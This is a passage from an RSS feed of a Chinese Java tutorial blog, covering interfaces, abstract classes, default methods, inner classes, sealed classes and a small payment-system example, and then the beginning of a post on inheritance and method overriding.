&lt;li&gt;&lt;code&gt;computeIfAbsent&lt;/code&gt; 是分组场景的瑞士军刀&lt;/li&gt;
&lt;li&gt;&lt;code&gt;merge(key, 1, Integer::sum)&lt;/code&gt; 是计数的经典写法&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HashMap&lt;/code&gt; 容量是 2 的幂，负载因子 0.75，链表长度 ≥ 8 转红黑树&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一阶段进入异常处理和泛型，这两块是 Java 里&quot;看着复杂但用起来其实很规整&quot;的东西。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段七：接口、抽象类与静态成员</title><link>http://117.72.32.87/blog/posts/java-roadmap-07-interface-abstract/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-07-interface-abstract/</guid><description>interface 定义与实现、默认方法、抽象类 vs 接口、常用标准接口（Comparable/Runnable）、内部类、密封类。</description><pubDate>Fri, 04 Sep 2026 01:00:00 GMT</pubDate><content:encoded>&lt;p&gt;如果说继承表达的是 &quot;&lt;strong&gt;is-a&lt;/strong&gt;&quot;（Dog 是 Animal），接口表达的是 &quot;&lt;strong&gt;can-do&lt;/strong&gt;&quot;（Dog 能跑、能叫）。Java 里接口用得比继承还多，尤其是 JDK 8 引入默认方法之后，接口能做的事大大扩展。这一篇把接口和抽象类彻底捋清楚。&lt;/p&gt;
&lt;h2&gt;接口基础&lt;/h2&gt;
&lt;p&gt;接口是&lt;strong&gt;只有方法签名（早期）+ 常量&lt;/strong&gt;的纯契约。用 &lt;code&gt;interface&lt;/code&gt; 定义，用 &lt;code&gt;implements&lt;/code&gt; 实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 定义接口
public interface Flyable {
    void fly();                    // 隐式 public abstract
    String getFlyStyle();
}

// 实现接口
public class Bird implements Flyable {
    @Override
    public void fly() {
        System.out.println(&quot;鸟在飞&quot;);
    }

    @Override
    public String getFlyStyle() {
        return &quot;拍打翅膀&quot;;
    }
}

public class Airplane implements Flyable {
    @Override
    public void fly() {
        System.out.println(&quot;飞机在飞&quot;);
    }

    @Override
    public String getFlyStyle() {
        return &quot;引擎推进&quot;;
    }
}

// 使用：多态
Flyable f1 = new Bird();
Flyable f2 = new Airplane();
f1.fly();     // 鸟在飞
f2.fly();     // 飞机在飞
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;接口成员的隐式修饰符&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;成员&lt;/th&gt;
&lt;th&gt;隐式修饰符&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;字段&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public static final&lt;/code&gt;（即常量）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public abstract&lt;/code&gt;（JDK 8 起也可以是 &lt;code&gt;default&lt;/code&gt; / &lt;code&gt;static&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内部类/接口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public static&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;所以接口里写 &lt;code&gt;int MAX = 100;&lt;/code&gt; 其实是 &lt;code&gt;public static final int MAX = 100;&lt;/code&gt;，可以直接用 &lt;code&gt;接口名.MAX&lt;/code&gt; 访问。&lt;/p&gt;
&lt;h2&gt;一个类实现多个接口&lt;/h2&gt;
&lt;p&gt;Java &lt;strong&gt;单继承多实现&lt;/strong&gt;，弥补了单继承的限制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface Swimmable {
    void swim();
}

public interface Flyable {
    void fly();
}

// 一个类可以既会游又会飞
public class Duck extends Animal implements Swimmable, Flyable {
    @Override
    public void swim() { System.out.println(&quot;鸭子游泳&quot;); }

    @Override
    public void fly() { System.out.println(&quot;鸭子飞&quot;); }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;语法顺序&lt;/strong&gt;：&lt;code&gt;class 类名 extends 父类 implements 接口1, 接口2 { ... }&lt;/code&gt;，&lt;code&gt;extends&lt;/code&gt; 必须在 &lt;code&gt;implements&lt;/code&gt; 前面。&lt;/p&gt;
&lt;h2&gt;接口的默认方法（JDK 8+）&lt;/h2&gt;
&lt;p&gt;早期接口里所有方法都是抽象的，任何修改都会破坏所有实现类。JDK 8 引入 &lt;code&gt;default&lt;/code&gt; 方法，允许接口提供&lt;strong&gt;默认实现&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface Logger {
    void log(String message);                // 抽象方法，实现类必须提供

    default void warn(String message) {      // 默认方法，实现类可以直接用或重写
        log(&quot;[WARN] &quot; + message);
    }

    default void error(String message) {
        log(&quot;[ERROR] &quot; + message);
    }
}

public class ConsoleLogger implements Logger {
    @Override
    public void log(String message) {
        System.out.println(message);
    }
    // warn 和 error 直接继承，无需重写
}

ConsoleLogger logger = new ConsoleLogger();
logger.log(&quot;hi&quot;);           // hi
logger.warn(&quot;小心&quot;);         // [WARN] 小心
logger.error(&quot;出错了&quot;);      // [ERROR] 出错了
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;默认方法的冲突解决&lt;/h3&gt;
&lt;p&gt;如果一个类实现了两个接口，两个接口都有同名的默认方法，编译器会&lt;strong&gt;强制要求重写&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface A {
    default void hello() { System.out.println(&quot;A&quot;); }
}

public interface B {
    default void hello() { System.out.println(&quot;B&quot;); }
}

public class C implements A, B {
    @Override
    public void hello() {
        // 必须重写，明确选择哪一个
        A.super.hello();      // 显式调用 A 的默认实现
        // 或者 B.super.hello();
        // 或者完全自己实现
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;接口的静态方法和私有方法&lt;/h2&gt;
&lt;p&gt;JDK 8 起接口可以有静态方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface MathUtils {
    static int square(int n) {
        return n * n;
    }
}

MathUtils.square(5);   // 25，通过接口名调用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JDK 9 起还可以有私有方法，用来给默认方法提取公共逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface Validator {
    default boolean validate(String s) {
        return checkNotNull(s) &amp;amp;&amp;amp; checkLength(s);
    }

    private boolean checkNotNull(String s) { return s != null; }
    private boolean checkLength(String s) { return s.length() &amp;gt; 0; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;接口 vs 抽象类&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;接口 &lt;code&gt;interface&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;抽象类 &lt;code&gt;abstract class&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;关系&lt;/td&gt;
&lt;td&gt;can-do（能力）&lt;/td&gt;
&lt;td&gt;is-a（血缘）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;继承数量&lt;/td&gt;
&lt;td&gt;一个类可以实现&lt;strong&gt;多个&lt;/strong&gt;接口&lt;/td&gt;
&lt;td&gt;只能继承&lt;strong&gt;一个&lt;/strong&gt;抽象类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字段&lt;/td&gt;
&lt;td&gt;只能是 &lt;code&gt;public static final&lt;/code&gt; 常量&lt;/td&gt;
&lt;td&gt;任意字段（含实例字段）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;构造器&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;没有&lt;/strong&gt;构造器&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;有&lt;/strong&gt;构造器（供子类调用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法&lt;/td&gt;
&lt;td&gt;抽象、&lt;code&gt;default&lt;/code&gt;、&lt;code&gt;static&lt;/code&gt;、&lt;code&gt;private&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;抽象方法 + 普通方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;访问修饰符&lt;/td&gt;
&lt;td&gt;方法隐式 &lt;code&gt;public&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;方法可以 &lt;code&gt;public&lt;/code&gt;/&lt;code&gt;protected&lt;/code&gt;/&lt;code&gt;private&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;何时用&lt;/td&gt;
&lt;td&gt;定义能力、跨类层次共享行为&lt;/td&gt;
&lt;td&gt;定义家族模板、共享状态和构造逻辑&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;经验法则&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;优先用&lt;strong&gt;接口&lt;/strong&gt;定义 API 契约（&lt;code&gt;List&lt;/code&gt;、&lt;code&gt;Comparable&lt;/code&gt;、&lt;code&gt;Runnable&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;需要共享状态或构造逻辑时用&lt;strong&gt;抽象类&lt;/strong&gt;（&lt;code&gt;AbstractList&lt;/code&gt; 是 &lt;code&gt;List&lt;/code&gt; 的骨架实现）&lt;/li&gt;
&lt;li&gt;两者常常配合使用：&lt;strong&gt;接口定契约，抽象类做骨架&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;经典组合&lt;/strong&gt;：Java 集合框架&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;E&amp;gt;（接口，定契约）
  ↑ implements
AbstractList&amp;lt;E&amp;gt;（抽象类，做骨架）
  ↑ extends
ArrayList&amp;lt;E&amp;gt; / LinkedList&amp;lt;E&amp;gt;（具体实现）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常用标准接口&lt;/h2&gt;
&lt;p&gt;Java 标准库里有几个接口用得极多，必须掌握：&lt;/p&gt;
&lt;h3&gt;Comparable：定义自然排序&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class User implements Comparable&amp;lt;User&amp;gt; {
    private String name;
    private int age;

    @Override
    public int compareTo(User other) {
        // 返回负数：this &amp;lt; other
        // 返回 0：this == other
        // 返回正数：this &amp;gt; other
        return Integer.compare(this.age, other.age);   // 按年龄升序
    }
}

List&amp;lt;User&amp;gt; users = ...;
Collections.sort(users);              // 自动按 compareTo 排序
users.sort(Comparator.naturalOrder());   // 等价
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Comparator：定义外部排序规则&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Comparator;

// 按名字排序
Comparator&amp;lt;User&amp;gt; byName = Comparator.comparing(User::getName);

// 按年龄降序
Comparator&amp;lt;User&amp;gt; byAgeDesc = Comparator.comparingInt(User::getAge).reversed();

// 多字段：先按年龄升序，年龄相同按名字
Comparator&amp;lt;User&amp;gt; combined = Comparator
    .comparingInt(User::getAge)
    .thenComparing(User::getName);

users.sort(byName);
users.sort(byAgeDesc);
users.sort(combined);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Comparator&lt;/code&gt; 是 Lambda 和 Stream API 的基础，阶段十会大量用到。&lt;/p&gt;
&lt;h3&gt;Runnable：无返回值的任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public interface Runnable {
    void run();
}

// 用于线程
Runnable task = () -&amp;gt; System.out.println(&quot;运行中&quot;);
new Thread(task).start();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Iterable 与 Iterator：可遍历&lt;/h3&gt;
&lt;p&gt;任何实现 &lt;code&gt;Iterable&amp;lt;T&amp;gt;&lt;/code&gt; 的类都能用增强 for 循环：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class MyCollection implements Iterable&amp;lt;String&amp;gt; {
    private List&amp;lt;String&amp;gt; items = new ArrayList&amp;lt;&amp;gt;();

    @Override
    public Iterator&amp;lt;String&amp;gt; iterator() {
        return items.iterator();
    }
}

for (String s : new MyCollection()) { ... }   // ✅ 可以用了
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;其他常见接口&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;接口&lt;/th&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Cloneable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;（标记接口）&lt;/td&gt;
&lt;td&gt;允许 &lt;code&gt;clone()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Serializable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;（标记接口）&lt;/td&gt;
&lt;td&gt;允许序列化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AutoCloseable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;close()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;支持 try-with-resources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CharSequence&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;length()&lt;/code&gt;, &lt;code&gt;charAt()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串通用接口，&lt;code&gt;String&lt;/code&gt;/&lt;code&gt;StringBuilder&lt;/code&gt; 都实现&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FunctionalInterface&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;（注解）&lt;/td&gt;
&lt;td&gt;单方法接口，支持 Lambda&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;接口继承&lt;/h2&gt;
&lt;p&gt;接口之间可以继承，且&lt;strong&gt;可以多继承&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface Readable {
    void read();
}

public interface Writable {
    void write();
}

public interface ReadWritable extends Readable, Writable {
    void close();
}

public class File implements ReadWritable {
    @Override public void read() { ... }
    @Override public void write() { ... }
    @Override public void close() { ... }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;内部类简介&lt;/h2&gt;
&lt;p&gt;Java 允许在一个类里定义另一个类，主要四种：&lt;/p&gt;
&lt;h3&gt;1. 成员内部类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Outer {
    private String name = &quot;outer&quot;;

    public class Inner {
        public void print() {
            System.out.println(name);   // 可以访问外部类的字段
        }
    }
}

// 实例化：先有 Outer，再有 Inner
Outer outer = new Outer();
Outer.Inner inner = outer.new Inner();
inner.print();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 静态内部类（推荐）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Outer {
    private String name = &quot;outer&quot;;

    public static class Inner {
        public void print() {
            // System.out.println(name);   // ❌ 静态内部类不能访问外部实例字段
            System.out.println(&quot;static inner&quot;);
        }
    }
}

Outer.Inner inner = new Outer.Inner();   // 直接实例化，无需 Outer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Map.Entry&lt;/code&gt; 就是典型的静态内部类。日常用内部类&lt;strong&gt;首选静态&lt;/strong&gt;，避免持有外部引用导致的内存泄漏。&lt;/p&gt;
&lt;h3&gt;3. 局部内部类（很少用）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public void method() {
    class LocalInner {
        void doIt() { ... }
    }
    new LocalInner().doIt();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 匿名内部类（Lambda 之前的写法）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Runnable r = new Runnable() {
    @Override
    public void run() {
        System.out.println(&quot;running&quot;);
    }
};

// JDK 8+ 用 Lambda 简化
Runnable r2 = () -&amp;gt; System.out.println(&quot;running&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lambda 会在阶段十详细讲，这里先知道它是匿名内部类的语法糖即可。&lt;/p&gt;
&lt;h2&gt;密封类 sealed（JDK 17+）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;密封类&lt;/strong&gt;限制哪些类可以继承/实现它，用于精确建模&quot;有限的类型集合&quot;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public sealed interface Shape
    permits Circle, Rectangle, Triangle {
    double area();
}

public final class Circle implements Shape { ... }
public final class Rectangle implements Shape { ... }
public final class Triangle implements Shape { ... }

// ❌ 其他类不能实现 Shape
// public class Hexagon implements Shape { ... }   // 编译报错
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;子类必须显式声明为&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;final&lt;/code&gt;：不能再被继承&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sealed&lt;/code&gt;：继续密封，需要 &lt;code&gt;permits&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;non-sealed&lt;/code&gt;：开放继承&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配合 JDK 21 的&lt;strong&gt;模式匹配 switch&lt;/strong&gt;，可以写出非常优雅的类型分支：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static String describe(Shape s) {
    return switch (s) {
        case Circle c    -&amp;gt; &quot;圆，半径 &quot; + c.radius();
        case Rectangle r -&amp;gt; &quot;矩形，宽 &quot; + r.width();
        case Triangle t  -&amp;gt; &quot;三角形&quot;;
        // 不需要 default，编译器知道所有可能的子类
    };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这在处理 AST、事件、状态机等&quot;有限类型集合&quot;时特别好用。&lt;/p&gt;
&lt;h2&gt;综合小例子：支付系统&lt;/h2&gt;
&lt;p&gt;用接口和抽象类设计一个可扩展的支付系统：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.payment;

public interface PaymentMethod {
    boolean pay(double amount);
    String getName();

    default void refund(double amount) {
        System.out.printf(&quot;[%s] 退款 %.2f%n&quot;, getName(), amount);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.payment;

public abstract class AbstractCreditCard implements PaymentMethod {
    protected final String cardNumber;
    protected double balance;

    protected AbstractCreditCard(String cardNumber, double balance) {
        this.cardNumber = cardNumber;
        this.balance = balance;
    }

    @Override
    public boolean pay(double amount) {
        if (amount &amp;gt; balance) {
            System.out.println(&quot;余额不足&quot;);
            return false;
        }
        balance -= amount;
        System.out.printf(&quot;[%s] 支付 %.2f，剩余 %.2f%n&quot;,
            getName(), amount, balance);
        return true;
    }

    // 子类只需要提供名字
    // getName() 留给子类实现
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.payment;

public class VisaCard extends AbstractCreditCard {
    public VisaCard(String cardNumber, double balance) {
        super(cardNumber, balance);
    }

    @Override
    public String getName() { return &quot;Visa-&quot; + cardNumber.substring(cardNumber.length() - 4); }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.payment;

public class AlipayAccount implements PaymentMethod {
    private final String account;
    private double balance;

    public AlipayAccount(String account, double balance) {
        this.account = account;
        this.balance = balance;
    }

    @Override
    public boolean pay(double amount) {
        if (amount &amp;gt; balance) return false;
        balance -= amount;
        System.out.printf(&quot;[支付宝 %s] 支付 %.2f%n&quot;, account, amount);
        return true;
    }

    @Override
    public String getName() { return &quot;支付宝-&quot; + account; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.payment;

import java.util.List;

public class PaymentDemo {
    public static void main(String[] args) {
        List&amp;lt;PaymentMethod&amp;gt; methods = List.of(
            new VisaCard(&quot;4111111111111111&quot;, 1000),
            new AlipayAccount(&quot;tom@example.com&quot;, 500)
        );

        // 多态：统一接口，不同实现
        for (PaymentMethod m : methods) {
            m.pay(200);
            m.refund(50);       // 默认方法，AlipayAccount 也能用
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个设计的扩展性：&lt;strong&gt;新增一种支付方式&lt;/strong&gt;（微信、银联）只需要写一个新类实现 &lt;code&gt;PaymentMethod&lt;/code&gt;，业务代码不用改。这就是&quot;面向接口编程&quot;的威力。&lt;/p&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 接口定义与实现
public interface Flyable {
    void fly();
    default void land() { System.out.println(&quot;降落&quot;); }
    static Flyable empty() { return () -&amp;gt; {}; }
}

public class Bird implements Flyable {
    @Override public void fly() { ... }
}

// 多实现
public class Duck extends Animal implements Swimmable, Flyable { ... }

// Comparable：自然排序
public class User implements Comparable&amp;lt;User&amp;gt; {
    @Override
    public int compareTo(User o) {
        return Integer.compare(age, o.age);
    }
}

// Comparator：外部排序
users.sort(Comparator.comparing(User::getName));
users.sort(Comparator.comparingInt(User::getAge).reversed());

// 抽象类
public abstract class Shape {
    protected String color;
    public abstract double area();
    public void describe() { ... }
}

// 密封类（JDK 17+）
public sealed interface Shape permits Circle, Rectangle {}
public final class Circle implements Shape {}

// 静态内部类（推荐）
public class Outer {
    public static class Inner { ... }
}
new Outer.Inner();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接口是&quot;能力&quot;（can-do），抽象类是&quot;血缘&quot;（is-a）&lt;/li&gt;
&lt;li&gt;Java &lt;strong&gt;单继承多实现&lt;/strong&gt;，弥补单继承限制&lt;/li&gt;
&lt;li&gt;接口方法隐式 &lt;code&gt;public abstract&lt;/code&gt;，字段隐式 &lt;code&gt;public static final&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;默认方法用 &lt;code&gt;default&lt;/code&gt;，冲突时子类必须重写并用 &lt;code&gt;接口名.super.方法()&lt;/code&gt; 选择&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Comparable&lt;/code&gt; 定义自然排序（内部），&lt;code&gt;Comparator&lt;/code&gt; 定义外部排序规则&lt;/li&gt;
&lt;li&gt;内部类首选 &lt;code&gt;static&lt;/code&gt; 静态内部类，避免内存泄漏&lt;/li&gt;
&lt;li&gt;密封类 &lt;code&gt;sealed&lt;/code&gt; 限制继承者，配合 JDK 21 模式匹配 switch 极优雅&lt;/li&gt;
&lt;li&gt;面向接口编程：新增实现类不改业务代码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;到这里 OOP 三件套（类、继承、接口）就讲完了。下一阶段进入日常业务代码里出现频率最高的东西——集合框架 &lt;code&gt;List/Set/Map&lt;/code&gt;。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段六：面向对象（二）——继承与多态</title><link>http://117.72.32.87/blog/posts/java-roadmap-06-oop-inheritance-polymorphism/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-06-oop-inheritance-polymorphism/</guid><description>extends 继承、super 调用父类、@Override 重写、Object 三兄弟（equals/hashCode/toString）、向上转型与多态、final 关键字。</description><pubDate>Thu, 03 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;继承和多态是 OOP 的两大核心机制。Java 的继承比 JS 的原型链更严格：&lt;strong&gt;单继承、显式声明、编译期检查&lt;/strong&gt;。这一篇把继承相关的所有关键概念串起来。&lt;/p&gt;
&lt;h2&gt;继承：extends&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 父类
public class Animal {
    protected String name;
    protected int age;

    public Animal(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public void eat() {
        System.out.println(name + &quot; 正在吃东西&quot;);
    }

    public void sleep() {
        System.out.println(name + &quot; 正在睡觉&quot;);
    }
}

// 子类
public class Dog extends Animal {
    private String breed;   // 子类特有字段

    public Dog(String name, int age, String breed) {
        super(name, age);           // 必须先调用父类构造器
        this.breed = breed;
    }

    public void bark() {            // 子类特有方法
        System.out.println(name + &quot; 汪汪叫&quot;);
    }
}

// 使用
Dog dog = new Dog(&quot;旺财&quot;, 3, &quot;柴犬&quot;);
dog.eat();     // 继承自 Animal
dog.sleep();   // 继承自 Animal
dog.bark();    // Dog 自己的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;extends&lt;/code&gt; 表示继承，Java &lt;strong&gt;只支持单继承&lt;/strong&gt;，一个类只能有一个直接父类&lt;/li&gt;
&lt;li&gt;子类构造器&lt;strong&gt;必须调用父类构造器&lt;/strong&gt;，不显式写 &lt;code&gt;super(...)&lt;/code&gt; 时会自动调用父类的无参构造器&lt;/li&gt;
&lt;li&gt;如果父类没有无参构造器，子类必须显式写 &lt;code&gt;super(...)&lt;/code&gt;，否则编译报错&lt;/li&gt;
&lt;li&gt;子类会继承父类所有 &lt;code&gt;public&lt;/code&gt; 和 &lt;code&gt;protected&lt;/code&gt; 成员（&lt;code&gt;private&lt;/code&gt; 不能直接访问，但仍在对象里）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对比 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JavaScript
class Animal {
    constructor(name) { this.name = name; }
    eat() { console.log(`${this.name} 吃东西`); }
}
class Dog extends Animal {
    constructor(name, breed) {
        super(name);
        this.breed = breed;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写法几乎一样，但 Java 有&lt;strong&gt;编译期类型检查&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Animal a = new Dog(&quot;旺财&quot;, 3, &quot;柴犬&quot;);   // ✅ 父类引用指向子类对象
a.eat();                                  // ✅
// a.bark();                              // ❌ 编译报错，Animal 类型看不到 bark
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;super 关键字&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;super&lt;/code&gt; 指向父类的成员，主要三种用法：&lt;/p&gt;
&lt;h3&gt;1. 调用父类构造器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public Dog(String name, int age, String breed) {
    super(name, age);          // 必须是构造器的第一行
    this.breed = breed;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 调用被覆盖的父类方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Dog extends Animal {
    @Override
    public void eat() {
        super.eat();                          // 先执行父类逻辑
        System.out.println(name + &quot; 用狗粮吃&quot;);   // 再加自己的
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 访问父类字段（少见）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Child extends Parent {
    public void print() {
        System.out.println(super.fieldName);   // 显式访问父类字段
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;code&gt;super(...)&lt;/code&gt; 和 &lt;code&gt;this(...)&lt;/code&gt; 都必须在构造器第一行，所以&lt;strong&gt;不能同时使用&lt;/strong&gt;。变通做法：把 &lt;code&gt;this(...)&lt;/code&gt; 调用放在被 &lt;code&gt;super(...)&lt;/code&gt; 调用的构造器里，形成构造器链。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;方法重写（Override）&lt;/h2&gt;
&lt;p&gt;子类可以重新实现父类的方法，叫&lt;strong&gt;重写&lt;/strong&gt;（override）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Animal {
    public void makeSound() {
        System.out.println(&quot;某种动物叫声&quot;);
    }
}

public class Dog extends Animal {
    @Override
    public void makeSound() {
        System.out.println(&quot;汪汪&quot;);
    }
}

public class Cat extends Animal {
    @Override
    public void makeSound() {
        System.out.println(&quot;喵喵&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重写规则&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;方法签名（名字 + 参数列表）必须完全一致&lt;/li&gt;
&lt;li&gt;返回类型必须一致或是父类返回类型的子类（协变返回类型）&lt;/li&gt;
&lt;li&gt;访问修饰符&lt;strong&gt;不能更严格&lt;/strong&gt;（父类 &lt;code&gt;public&lt;/code&gt;，子类不能改成 &lt;code&gt;private&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;不能抛出比父类更多的&lt;strong&gt;受检异常&lt;/strong&gt;（异常在阶段九讲）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;static&lt;/code&gt;、&lt;code&gt;final&lt;/code&gt;、&lt;code&gt;private&lt;/code&gt; 方法&lt;strong&gt;不能被重写&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;@Override 注解&lt;/h3&gt;
